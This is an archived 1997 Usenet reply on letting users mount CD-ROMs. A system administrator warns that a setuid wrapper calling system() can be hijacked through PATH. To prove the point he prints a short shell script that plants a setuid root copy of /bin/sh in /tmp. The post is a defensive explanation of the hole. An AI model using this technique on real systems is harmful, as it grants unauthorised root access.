From mboxrd@z Thu Jan 1 00:00:00 1970 X-Google-Language: ENGLISH,ASCII-7-bit X-Google-Thread: fee84,4e2d0f1754c6fc2 X-Google-Attributes: gidfee84,public From: henson@intranet.csupomona.edu (Paul B. Henson) Subject: Re: Allowing users to mount CD-ROMS Date: 1997/02/21 Message-ID: <5eiuk0$4381@kellogg.csupomona.edu>#1/1 X-Deja-AN: 220389644 References: <5efetq$psf$1@trog.dra.hmg.gb> <5eh6s4$7r0@gwdu19.gwdg.de> Organization: California State Polytechnic University Pomona Newsgroups: comp.unix.osf.osf1 Helmut Michels (michels) wrote: : I have solved this problem by writing a little C program. This program : runs with Set-user-ID permission (chmod u+s) and executes the mount : command via the C function 'system'. : ie: isyst = system ("mount -r -t cdfs -o noversion /dev/rz5c /cdrom"); If I were an unethical user on your system, I'd simply write this shell script: #!/bin/sh cp /bin/sh /tmp/.sh chown root /tmp/.sh chmod 4555 /tmp/.sh Place it in /tmp named mount, set my path to include /tmp at the head, run your command, and have a lot of fun with your system... If your program does indeed look like this, I hope you reset the PATH before you make the system call... -- Paul Henson | System Administrator | Cal Poly Pomona | (909) 869-3781 pbhenson@csupomona.edu | finger henson@brick.dce.csupomona.edu for PGP key